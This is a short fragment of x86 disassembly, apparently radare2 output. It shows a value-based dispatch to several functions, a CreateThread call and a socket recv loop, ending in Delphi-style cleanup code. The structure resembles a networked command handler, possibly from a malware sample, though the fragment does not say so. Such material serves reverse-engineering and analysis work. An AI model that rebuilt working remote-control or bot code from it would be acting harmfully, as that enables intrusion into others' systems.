mov edx, dword [ebp - 0x830]
pop eax
call fcn.00404190
jne 0x406820
cmp dword [ebx + 0x1e4], 0
je 0x406820
mov eax, dword [ebx + 0x1e4]
call fcn.004091b4
dec eax
je 0x4067d9
dec eax
je 0x4067ed
dec eax
je 0x406801
jmp 0x406820
cmp dword [0x40c678], 0
jne 0x406820
mov ax, 0x190
call fcn.0040a524
jmp 0x406820
cmp dword [0x40c69c], 0
jne 0x406820
mov ax, 0x190
call fcn.004097a4
jmp 0x406820
cmp dword [0x40c6ac], 0
jne 0x406820
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0x4051f8
push 0
push 0
call sub.kernel32.dll_CreateThread_1
push 0
push 0x640
push esi
mov eax, dword [ebx + 0x30]
push eax
call sub.wsock32.dll_recv
test eax, eax
jg 0x405270
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406891
lea eax, [ebp - 0x830]
mov edx, 0x63
call fcn.00403df0
lea eax, [ebp - 0x6a0]
call fcn.00403dcc
lea eax, [ebp - 0x6a4]
call fcn.00403dcc
lea eax, [ebp - 0x69c]
mov edx, 0x10
call fcn.00403df0
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.00403df0
ret